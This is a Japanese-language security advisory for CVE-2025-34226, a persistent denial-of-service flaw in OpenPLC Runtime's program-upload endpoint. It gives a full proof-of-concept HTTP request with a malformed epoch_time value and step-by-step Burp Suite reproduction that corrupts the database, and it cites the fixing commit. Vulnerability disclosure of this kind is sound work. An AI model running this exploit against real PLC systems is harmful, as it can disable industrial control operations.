CVE-2025-34226: OpenPLC Runtimeにおける持続的DoS

脆弱性概要

概要

OpenPLC Runtimeは、/upload-program-actionエンドポイントに持続的denial of service（DoS）脆弱性があります。
プログラムアップロード中にepoch_timeパラメータを変更することで、低権限の認証ユーザーがバックエンドデータベースを破損させる可能性があります。
この破損により、最初に重要なページが無効になり、最終的にランタイム全体の起動が妨げられ、実質的にアプリケーションが再インストールされるまで使用不能になります。

セキュリティへの影響

• 持続的DoS – 一度トリガーされると、完全な再インストールなしではシステムは復旧できません。
• データベース破損 – エクスプロイトによりOpenPLCのSQLiteデータベースに無効な値が導入され、ランタイム状態が破壊されます。
• 運用障害 – ICS/OT環境では、PLC管理プロセスのダウンタイムを引き起こす可能性があります。
• 検証のバイパス – エクスプロイトは入力検証をバイパスし、重要なパラメータに対するサニタイズの欠如を示しています。

技術的詳細

影響を受けるバージョン

• 脆弱なバージョン: OpenPLC Runtime ≤ v3（最新版ではない）
• 修正バージョン: コミット 095ee09623dd229b64ad3a1db38a901a3772f6fc で修正済み

攻撃ベクトル

/upload-program-actionエンドポイントは、epoch_timeフィールドを検証なしで直接データベースに書き込みます。
このフィールドが細工された、または無意味な値（例：1758627838や不正なデータ）に設定されると、OpenPLCは一貫性のない状態を保存します。
ランタイムのリロードまたは再起動時に、アプリケーションは破損した行をクエリし、NoneTypeオブジェクトに遭遇して致命的なクラッシュが発生します（TypeError: 'NoneType' object is not subscriptable）。

概念実証

PoC 1: 悪意のあるアップロードリクエスト（Burp Suite Repeater）

POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]

------BOUNDARY
Content-Disposition: form-data; name="prog_name"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain

PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"

"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--

再現手順

1. Burp Suiteを開く
2. Burp Suiteブラウザを開く
3. OpenPLCインターフェースにアクセスする
4. 低権限アカウントで認証する。
5. /programsを介してプログラムをアップロードする
6. ランダムな名前を選択する。
7. Burp Suiteプロキシを有効にする
8. リクエストをRepeaterに送信する
9. epoch_timeセクションを編集し、元のepoch_timeの代わりに"L"のようなランダムな文字に変更する
10. 新しく細工したリクエストを送信する。
11. /programsを確認すると、動作しなくなっていることがわかる
12. その後、OpenPLCを再起動するとランタイムの起動に失敗することがあり、その後OpenPLCを再起動できなくなる。

即時対応

1. 直ちにアップグレード OpenPLC V3

参考文献

• パッチ/リリースノート: [公式最新リリースへのリンク]
• 脆弱性履歴: [脆弱性履歴リンク]

クレジット

発見者: Eyodav